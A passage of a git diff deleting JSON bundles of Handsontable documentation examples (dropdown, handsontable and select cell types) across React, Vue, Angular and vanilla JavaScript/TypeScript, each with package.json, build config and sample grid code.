\"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example4\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { HotTable } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst departments = [\n 'Engineering and Platform Infrastructure',\n 'Marketing and Brand Communications',\n 'Financial Planning and Analysis',\n 'People Operations and Talent Acquisition',\n 'Customer Success and Enterprise Accounts',\n];\n\nconst ExampleComponent = () => {\n return (\n \n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/cell-types/dropdown-cell-type/react/example4.tsx","breadcrumb":["Cell Types","Dropdown cell type"],"guide":"guides/cell-types/dropdown-cell-type/dropdown-cell-type.md","guideTitle":"Dropdown cell type","exampleId":"example4","exampleTitle":"Set the dropdown width","docPermalink":"/dropdown-cell-type","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-types__dropdown-cell-type__react__example5.tsx.json b/runner/apps/authoring/public/docs-examples/guides__cell-types__dropdown-cell-type__react__example5.tsx.json deleted file mode 100644 index e81f5a87..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__cell-types__dropdown-cell-type__react__example5.tsx.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"react","displayName":"Cell Types ▸ Dropdown cell type · Set the dropdown height · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/react-wrapper\": \"18.0.0\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example5\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { HotTable } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst jobTitles = [\n 'Software Engineer',\n 'Senior Software Engineer',\n 'Staff Engineer',\n 'Engineering Manager',\n 'Product Manager',\n 'Product Designer',\n 'Data Analyst',\n 'Data Scientist',\n 'Marketing Specialist',\n 'Account Executive',\n 'Customer Success Manager',\n 'Finance Analyst',\n 'Recruiter',\n 'Office Manager',\n];\n\nconst ExampleComponent = () => {\n return (\n \n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/cell-types/dropdown-cell-type/react/example5.tsx","breadcrumb":["Cell Types","Dropdown cell type"],"guide":"guides/cell-types/dropdown-cell-type/dropdown-cell-type.md","guideTitle":"Dropdown cell type","exampleId":"example5","exampleTitle":"Set the dropdown height","docPermalink":"/dropdown-cell-type","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-types__dropdown-cell-type__vue__example4.vue.json b/runner/apps/authoring/public/docs-examples/guides__cell-types__dropdown-cell-type__vue__example4.vue.json deleted file mode 100644 index 3277fa9f..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__cell-types__dropdown-cell-type__vue__example4.vue.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"vue","displayName":"Cell Types ▸ Dropdown cell type · Set the dropdown width · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/vue3\": \"18.0.0\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example4\");","/src/App.vue":"\n\n"},"docsPath":"guides/cell-types/dropdown-cell-type/vue/example4.vue","breadcrumb":["Cell Types","Dropdown cell type"],"guide":"guides/cell-types/dropdown-cell-type/dropdown-cell-type.md","guideTitle":"Dropdown cell type","exampleId":"example4","exampleTitle":"Set the dropdown width","docPermalink":"/dropdown-cell-type","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-types__dropdown-cell-type__vue__example5.vue.json b/runner/apps/authoring/public/docs-examples/guides__cell-types__dropdown-cell-type__vue__example5.vue.json deleted file mode 100644 index 097aa757..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__cell-types__dropdown-cell-type__vue__example5.vue.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"vue","displayName":"Cell Types ▸ Dropdown cell type · Set the dropdown height · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/vue3\": \"18.0.0\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example5\");","/src/App.vue":"\n\n"},"docsPath":"guides/cell-types/dropdown-cell-type/vue/example5.vue","breadcrumb":["Cell Types","Dropdown cell type"],"guide":"guides/cell-types/dropdown-cell-type/dropdown-cell-type.md","guideTitle":"Dropdown cell type","exampleId":"example5","exampleTitle":"Set the dropdown height","docPermalink":"/dropdown-cell-type","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-types__handsontable-cell-type__angular__example1.ts.json b/runner/apps/authoring/public/docs-examples/guides__cell-types__handsontable-cell-type__angular__example1.ts.json deleted file mode 100644 index 6059dc12..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__cell-types__handsontable-cell-type__angular__example1.ts.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"angular","displayName":"Cell Types ▸ Handsontable cell type · Standard example · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/angular-wrapper\": \"18.0.0\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component } from '@angular/core';\nimport { GridSettings, HotTableModule} from '@handsontable/angular-wrapper';\n\nconst manufacturerData = [\n { name: 'BMW', country: 'Germany', owner: 'Bayerische Motoren Werke AG' },\n { name: 'Chrysler', country: 'USA', owner: 'Chrysler Group LLC' },\n { name: 'Nissan', country: 'Japan', owner: 'Nissan Motor Company Ltd' },\n { name: 'Suzuki', country: 'Japan', owner: 'Suzuki Motor Corporation' },\n { name: 'Toyota', country: 'Japan', owner: 'Toyota Motor Corporation' },\n { name: 'Volvo', country: 'Sweden', owner: 'Zhejiang Geely Holding Group' },\n];\n\n@Component({\n selector: 'example1-handsontable-cell-type',\n standalone: true,\n imports: [HotTableModule],\n template: `
    \n \n
    `,\n})\nexport class AppComponent {\n\n readonly data = [\n ['Tesla', 2017, 'black', 'black'],\n ['Nissan', 2018, 'blue', 'blue'],\n ['Chrysler', 2019, 'yellow', 'black'],\n ['Volvo', 2020, 'white', 'gray'],\n ];\n\n readonly gridSettings: GridSettings = {\n colHeaders: ['Car', 'Year', 'Chassis color', 'Bumper color'],\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n columns: [\n {\n type: 'handsontable',\n handsontable: {\n colHeaders: ['Marque', 'Country', 'Parent company'],\n autoColumnSize: true,\n data: manufacturerData,\n getValue() {\n const selection = this.getSelectedLast();\n\n // Get the manufacturer name of the clicked row and ignore header\n // coordinates (negative values)\n const row = this.getSourceDataAtRow(Math.max(selection?.[0] ?? 0, 0)) as { name: string };\n\n return row.name;\n },\n },\n },\n { type: 'numeric' },\n {\n type: 'dropdown',\n source: ['yellow', 'red', 'orange', 'green', 'blue', 'gray', 'black', 'white'],\n },\n {\n type: 'dropdown',\n source: ['yellow', 'red', 'orange', 'green', 'blue', 'gray', 'black', 'white'],\n },\n ]\n };\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/cell-types/handsontable-cell-type/angular/example1.ts","breadcrumb":["Cell Types","Handsontable cell type"],"guide":"guides/cell-types/handsontable-cell-type/handsontable-cell-type.md","guideTitle":"Handsontable cell type","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/handsontable-cell-type","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-types__handsontable-cell-type__javascript__example1.js.json b/runner/apps/authoring/public/docs-examples/guides__cell-types__handsontable-cell-type__javascript__example1.js.json deleted file mode 100644 index 0e466287..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__cell-types__handsontable-cell-type__javascript__example1.js.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"javascript","displayName":"Cell Types ▸ Handsontable cell type · Standard example · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n// Register all Handsontable's modules.\nregisterAllModules();\nconst manufacturerData = [\n { name: 'BMW', country: 'Germany', owner: 'Bayerische Motoren Werke AG' },\n { name: 'Chrysler', country: 'USA', owner: 'Chrysler Group LLC' },\n { name: 'Nissan', country: 'Japan', owner: 'Nissan Motor Company Ltd' },\n { name: 'Suzuki', country: 'Japan', owner: 'Suzuki Motor Corporation' },\n { name: 'Toyota', country: 'Japan', owner: 'Toyota Motor Corporation' },\n { name: 'Volvo', country: 'Sweden', owner: 'Zhejiang Geely Holding Group' },\n];\nconst container = document.querySelector('#example1');\nnew Handsontable(container, {\n height: 'auto',\n licenseKey: 'non-commercial-and-evaluation',\n data: [\n ['Tesla', 2017, 'black', 'black'],\n ['Nissan', 2018, 'blue', 'blue'],\n ['Chrysler', 2019, 'yellow', 'black'],\n ['Volvo', 2020, 'white', 'gray'],\n ],\n colHeaders: ['Car', 'Year', 'Chassis color', 'Bumper color'],\n columns: [\n {\n type: 'handsontable',\n handsontable: {\n colHeaders: ['Marque', 'Country', 'Parent company'],\n autoColumnSize: true,\n data: manufacturerData,\n getValue() {\n const selection = this.getSelectedLast();\n // Get the manufacturer name of the clicked row and ignore header\n // coordinates (negative values)\n const row = this.getSourceDataAtRow(Math.max(selection?.[0] ?? 0, 0));\n return row.name;\n },\n },\n },\n { type: 'numeric' },\n {\n type: 'dropdown',\n source: ['yellow', 'red', 'orange', 'green', 'blue', 'gray', 'black', 'white'],\n },\n {\n type: 'dropdown',\n source: ['yellow', 'red', 'orange', 'green', 'blue', 'gray', 'black', 'white'],\n },\n ],\n autoWrapRow: true,\n autoWrapCol: true,\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/cell-types/handsontable-cell-type/javascript/example1.js","breadcrumb":["Cell Types","Handsontable cell type"],"guide":"guides/cell-types/handsontable-cell-type/handsontable-cell-type.md","guideTitle":"Handsontable cell type","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/handsontable-cell-type","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-types__handsontable-cell-type__javascript__example1.ts.json b/runner/apps/authoring/public/docs-examples/guides__cell-types__handsontable-cell-type__javascript__example1.ts.json deleted file mode 100644 index 612e3962..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__cell-types__handsontable-cell-type__javascript__example1.ts.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"typescript","displayName":"Cell Types ▸ Handsontable cell type · Standard example · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\ninterface Manufacturer {\n name: string;\n country: string;\n owner: string;\n}\n\nconst manufacturerData: Manufacturer[] = [\n { name: 'BMW', country: 'Germany', owner: 'Bayerische Motoren Werke AG' },\n { name: 'Chrysler', country: 'USA', owner: 'Chrysler Group LLC' },\n { name: 'Nissan', country: 'Japan', owner: 'Nissan Motor Company Ltd' },\n { name: 'Suzuki', country: 'Japan', owner: 'Suzuki Motor Corporation' },\n { name: 'Toyota', country: 'Japan', owner: 'Toyota Motor Corporation' },\n { name: 'Volvo', country: 'Sweden', owner: 'Zhejiang Geely Holding Group' },\n];\n\nconst container = document.querySelector('#example1')!;\n\nnew Handsontable(container, {\n height: 'auto',\n licenseKey: 'non-commercial-and-evaluation',\n data: [\n ['Tesla', 2017, 'black', 'black'],\n ['Nissan', 2018, 'blue', 'blue'],\n ['Chrysler', 2019, 'yellow', 'black'],\n ['Volvo', 2020, 'white', 'gray'],\n ],\n colHeaders: ['Car', 'Year', 'Chassis color', 'Bumper color'],\n columns: [\n {\n type: 'handsontable',\n handsontable: {\n colHeaders: ['Marque', 'Country', 'Parent company'],\n autoColumnSize: true,\n data: manufacturerData,\n getValue() {\n const selection = this.getSelectedLast();\n\n // Get the manufacturer name of the clicked row and ignore header\n // coordinates (negative values)\n const row = this.getSourceDataAtRow(Math.max(selection?.[0] ?? 0, 0)) as { name: string };\n\n return row.name;\n },\n },\n },\n { type: 'numeric' },\n {\n type: 'dropdown',\n source: ['yellow', 'red', 'orange', 'green', 'blue', 'gray', 'black', 'white'],\n },\n {\n type: 'dropdown',\n source: ['yellow', 'red', 'orange', 'green', 'blue', 'gray', 'black', 'white'],\n },\n ],\n autoWrapRow: true,\n autoWrapCol: true,\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/cell-types/handsontable-cell-type/javascript/example1.ts","breadcrumb":["Cell Types","Handsontable cell type"],"guide":"guides/cell-types/handsontable-cell-type/handsontable-cell-type.md","guideTitle":"Handsontable cell type","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/handsontable-cell-type","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-types__handsontable-cell-type__react__example1.tsx.json b/runner/apps/authoring/public/docs-examples/guides__cell-types__handsontable-cell-type__react__example1.tsx.json deleted file mode 100644 index d807d4de..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__cell-types__handsontable-cell-type__react__example1.tsx.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"react","displayName":"Cell Types ▸ Handsontable cell type · Standard example · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/react-wrapper\": \"18.0.0\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example1\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { HotTable } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst ExampleComponent = () => {\n const manufacturerData = [\n { name: 'BMW', country: 'Germany', owner: 'Bayerische Motoren Werke AG' },\n { name: 'Chrysler', country: 'USA', owner: 'Chrysler Group LLC' },\n { name: 'Nissan', country: 'Japan', owner: 'Nissan Motor Company Ltd' },\n { name: 'Suzuki', country: 'Japan', owner: 'Suzuki Motor Corporation' },\n { name: 'Toyota', country: 'Japan', owner: 'Toyota Motor Corporation' },\n { name: 'Volvo', country: 'Sweden', owner: 'Zhejiang Geely Holding Group' },\n ];\n\n return (\n \n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/cell-types/handsontable-cell-type/react/example1.tsx","breadcrumb":["Cell Types","Handsontable cell type"],"guide":"guides/cell-types/handsontable-cell-type/handsontable-cell-type.md","guideTitle":"Handsontable cell type","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/handsontable-cell-type","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-types__handsontable-cell-type__vue__example1.vue.json b/runner/apps/authoring/public/docs-examples/guides__cell-types__handsontable-cell-type__vue__example1.vue.json deleted file mode 100644 index b992d323..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__cell-types__handsontable-cell-type__vue__example1.vue.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"vue","displayName":"Cell Types ▸ Handsontable cell type · Standard example · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/vue3\": \"18.0.0\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example1\");","/src/App.vue":"\n\n"},"docsPath":"guides/cell-types/handsontable-cell-type/vue/example1.vue","breadcrumb":["Cell Types","Handsontable cell type"],"guide":"guides/cell-types/handsontable-cell-type/handsontable-cell-type.md","guideTitle":"Handsontable cell type","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/handsontable-cell-type","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-types__select-cell-type__angular__example1.ts.json b/runner/apps/authoring/public/docs-examples/guides__cell-types__select-cell-type__angular__example1.ts.json deleted file mode 100644 index 34c005aa..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__cell-types__select-cell-type__angular__example1.ts.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"angular","displayName":"Cell Types ▸ Select cell type · Standard example · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/angular-wrapper\": \"18.0.0\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n 